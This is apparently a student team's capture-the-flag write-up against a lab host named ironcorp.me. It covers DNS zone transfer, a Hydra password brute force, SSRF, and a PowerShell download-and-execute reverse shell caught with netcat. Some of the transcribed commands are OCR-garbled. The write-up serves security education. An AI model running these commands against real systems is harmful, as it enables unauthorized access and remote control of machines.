TL6L PENTEST 2 1K HONDA

Members

ID	Name	Role
1211100415	Muhammad Ummar Hisham bin Ahmad Madzlan	Leader
1211103066	Balqis Afiqah binti Ahmad Fahmi	Member
1211101925	Nur Alya Nabilah binti Md. Naser	Member
1211103299	Shuuban Subramaniam	Member

Recon and Enumeration

Members Involved: Alya Nabilah

Tools Used: Kali, Terminal, GNU Nano, Nmap, Sudo, Dig

Thought Process and Methodology:

Initially, once we had gained the access to the targeted machine's IP address, we used nano to check existing configuration files in etc/hosts.

```
Expires

(1211100415@ kali)-[~] 45m 43s

Add 1 hour Ter
```

we can see that there's only 2 files we have which we need to edit out and add the ironcorp.me file inside it. But as we tried to write it, there's an error saying this file is unwriteable. This might be because we use the normal user.



Then Alya finds out a way to use sudo su command to let us use our account and password to execute system commands that can switch user into root privileges whereas we have the full access in it.

```
(1211100415⊕ kali)-[~]
$\frac{\sudo}{\sudo} \su
[sudo] password for 1211100415:

[root⊕ kali)-[/home/1211100415]
```

Now, we can modified the text files inside the etc/hosts and add the ironcorp.me

```
GNU nano 5.9 /etc/hosts *

127.0.0.1 localhost

127.0.1.1 kali

10.10.165.66 ironcorp.me Additional Prince

# The following lines are desirable for IPv6 capable hosts

::1 localhost ip6-localhost ip6-loopback

ff02::1 ip6-allnodes

ff02::2 ip6-allrouters
```

Then, Alya execute the nmap with following the IP address with the function -Pn -sV -sC and -n and put the scope target ironcorp.me at the end

```
VERSION
           open domain
53/tcp
                                  Simple DNS Plus
135/tcp open msrpc
                                 Microsoft Windows RPC
3389/tcp open ms-wbt-server Microsoft Terminal Services
 rdp-ntlm-info:
    Target_Name: WIN-8VMBKF3G815
    NetBIOS_Domain_Name: WIN-8VMBKF3G815
   NetBIOS_Computer_Name: WIN-8VMBKF3G815
   DNS_Domain_Name: WIN-8VMBKF3G815
   DNS_Computer_Name: WIN-8VMBKF3G815
Product_Version: 10.0.14393
 _ System_Time: 2022-08-02T07:20:20+00:00
ssl-cert: Subject: commonName=WIN-8VMBKF3G815
 Not valid before: 2022-08-01T06:59:01
|_Not valid after: 2023-01-31T06:59:01
 _Not valid alter.
_ssl-date: 2022-08-02T07:20:28-00:00; Os from scanner time.
3080/tcp open http Microsoft IIS httpd 10.0
8080/tcp open http
|_http-title: Dashtreme Admin - Free Dashboard for Bootstrap 4 by Codervent
 http-methods:
   Potentially risky methods: TRACE
 _
http-server-header: Microsoft-IIS/10.0
11025/tcp open http
                                Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c P
HP/7.4.4)
|_http-title: Coming Soon - Start Bootstrap Theme
 http-methods:
    Potentially risky methods: TRACE
 _http-server-header: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.4.4
                          Microsoft Windows RPC
Microsoft Windows RPC
49667/tcp open msrpc
49669/tcp open msrpc
```

range of port that i use is 1-65000 which is version fingerprint

We tried to access the web service of port **8080** and have a control panel, we examine but there is no functionality that we can do.



Then Balqis also tried to access the web service of port **11025** and we have the same problem, another website that does not contain information or functionalities that can give any use.





Then, Alya came up with an idea she remembers that nmap took out the open port 53, So Alya tried to dig the list any subdomain or information that is relevant.

```
-(1211100415⊕ kali)-[~]
 -$ dig @10.10.165.66 <u>ironcorp.me</u> axfr
; <>> DiG 9.17.19-3-Debian <>> @10.10.165.66 ironcorp.me axfr
; (1 server found)
;; global options: +cmd
                       3600 IN
                                            SOA
                                                     win-8vmbkf3g815. hostmaster. 3
ironcorp.me.
900 600 86400 3600
ironcorp.me. 3600 IN NS win-8vmbk admin.ironcorp.me. 3600 IN A 127.0.0.1 internal.ironcorp.me. 3600 IN A 127.0.0.1 ironcorp.me. 3600 IN SOA
                                                     win-8vmbkf3g815.
                                                     127.0.0.1
                                           SOA win-8vmbkf3g815. hostmaster. 3
900 600 86400 3600
;; Query time: 760 msec
;; SERVER: 10.10.165.66#53(10.10.165.66) (TCP)
;; WHEN: Tue Aug 02 09:59:31 EDT 2022
;; XFR size: 5 records (messages 1, bytes 238)
```

yes, we found two subdomains that are running internally

We cannot access one of them, so we understand that this resource is only exposed internally, we try the other subdomain and see that it loads a protected area with basic authentication.





Now, we open back the nano to add and write another 2 text files which are the admin.ironcorp.me and internal.ironcorp.me.

```
File Actions Edit View Help


GNU nano 5.9

127.0.0.1 localhost
127.0.1.1 kali
10.10.111.107 ironcorp.me
10.10.111.107 admin.ironcorp.me
10.10.111.107 internal.ironcorp.me
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
```

Then, Alya tried to enumerate the subdomains where there is a forbidden service and one with a login function. Interesting enough, because they are using the basic http authentication.



After that we get the authentication required to ask for username and password. Now we need to figure up how to find out this information.



Initial Foothold

Members Involved: Ummar Hisham


Tools Used: Terminal, Hydra, rockyou.txt, BurpSuite, Netcat, Invoke-PowerShellTcp.ps1, rlwrap, Python3.

Thought Process and Methodology:

To get the credentials to log in to admin.ironcorp.me:11025, we will be utilizing Hydra to crack password. We kind of guessed "admin" as the login username of the webpage. Then, we downloaded the rockyou.txt from GitHub and using the text file, we cracked the password for the webpage.

```
-$ hydra -l admin -P /home/1211100415/Downloads/rockyou.txt -s 11025 admin
.ironcorp.me http-get
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use
in military or secret service organizations, or for illegal purposes (this
is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-08-02 0
5:10:46
[WARNING] You must supply the web page as an additional option or via -m, d
efault path set to /
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l
:1/p:14344398), ~896525 tries per task
[DATA] attacking http-get://admin.ironcorp.me:11025/
[STATUS] 1135.00 tries/min, 1135 tries in 00:01h, 14343263 to do in 210:38h, 1
6 active
[11025][http-get] host: admin.ironcorp.me login: admin
                                                           password: password1
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-08-02 05:1
2:04
```


Using the credentials we got from Hydra, we were able to see the contents of the webpage. At first look, the webpage does not have anything that caught our attention. However, we noticed that we could submit a query form so we tried inputting a string into it.



After inputting the string, we noticed that the parameter was exposed. From there we deduced that the vulnerability that we could exploit is the SSRF vulnerability. As we had learned from 25 Days of Cybersecurity, SSRF is an exploit by an attacker abusing server functionality to access or modify resources.



Once we had known that the exploit worked, we changed the parameter to "http://admin.ironcorp.me:11025" only to get an error.



Then, we changed the parameter to "http://internal.ironcorp.me:11025" where we were brought to the following webpage. We decided to view the source formatting of the webpage.




After inspecting the source formatting, we could see a link under the <body> tag. We figured that href link might came handy later, so, we copied the link into a clipboard.

Back on the admin.ironcorp.me.11025 webpage, we pasted the href link as a parameter for the webpage.



We viewed the source formatting again to see the account name "Equinox".


In the name parameter, we typed in "chin" and it will be displayed in the page.



Then we execute whoami to see that the user had super user permission (nt authority\system)



Now that we knew the vulnerability that the machine had and user's permission, we start the exploit by redirecting the link with a reverse shell. Since the machine was running on Windows, we will be using powershell reverse shell. From GitHub, we used the Invoke-PowerShellTcp.ps1 as our reverse shell.



We added the line, "Invoke-PowerShellTcp -Reverse -IPAddress 10.8.92.127 -Port 1338" at the end of the file to execute the reverse shell.


```
113 Write-Error $_

114 }

115 }


116 Invoke-PowerShellTcp Reverse -IPAddress 10.8.02.327 | Port 1838
```

We will use the command "powershell.exe -c iex(new-object net.webclient).downloadstring('http://10.8.92.127/Invoke-PowerShellTcp.ps1')" to execute reverse shell. We encoded the command twice in URL.



Using the python3 command, we turn the current directory to a simple http server. Then, we set up a netcat listener using rlwrap on port 1338.

On the webpage, we copied the encoded URL inside the name parameter.



It did not work the first time because we did not include the user so, we included the user and refreshed the page.



User Flag

Members Involved: Balqis Ahmad

Tools Used: Kali, Terminal

Thought Process and Methodology:


If everything has gone correctly, balqis will have a connection from the machine to our kali with "nt authority\system" permissions.

```
(1211100415@ kali)-[~]

$\frac{1}{5} \text{ rlwrap nc -lvnp 1338} \\
\text{listening on [any] 1338} \\
\text{connect to [10.8.92.127] from (UNKNOWN) [10.10.49.87] 50037} \\
\text{Windows PowerShell running as user WIN-8VMBKF3G815$ on WIN-8VMBKF3G815} \\
\text{Copyright (C) 2015 Microsoft Corporation. All rights reserved.} \\
\text{whoami} \\
\text{nt authority\system} \\
\text{PS E:\xampp\htdocs\internal>} \\
\text{Internal}
```

Now balqis would have to change to the windows c directory, after that it would be listed all the contexts inside.

Now balqis will open the user file, then get the context in the user file to see the content provided inside it. Balqis would see the administrator file in the listed context from user file. Balqis will open administrator file and see what's inside.



After balqis opens the administrator file, balqis would see the desktop file included. That would be the final file to open to get the user flag. Now there would be a user.txt file to be read to see the user flag. To read the file balqis would have to use cat command. There you go, by then balqis would get the flag.



Root Flag

Members Involved: Shuuban

Tools Used: Kali, Terminal, Powershell

Thought Process and Methodology:

After accessing the SuperAdmin folder. However, we could not see the file listed in the folder.

However, we could directly access the file that contained the flag.

Contributions

ID	Name	Contributions	Signatures
1211100415	Ummar Hisham	Figured out the exploit for initial foothold.	Jiz
1211103066	Balqis Afiqah	User Flag	aff.
1211101925	Alya Nabilah	Recon and Enumeration	
1211103299	Shuuban Subramaniam	Root Flag	Th:

VIDEO LINK: https://youtu.be/bSSpXzFGgjs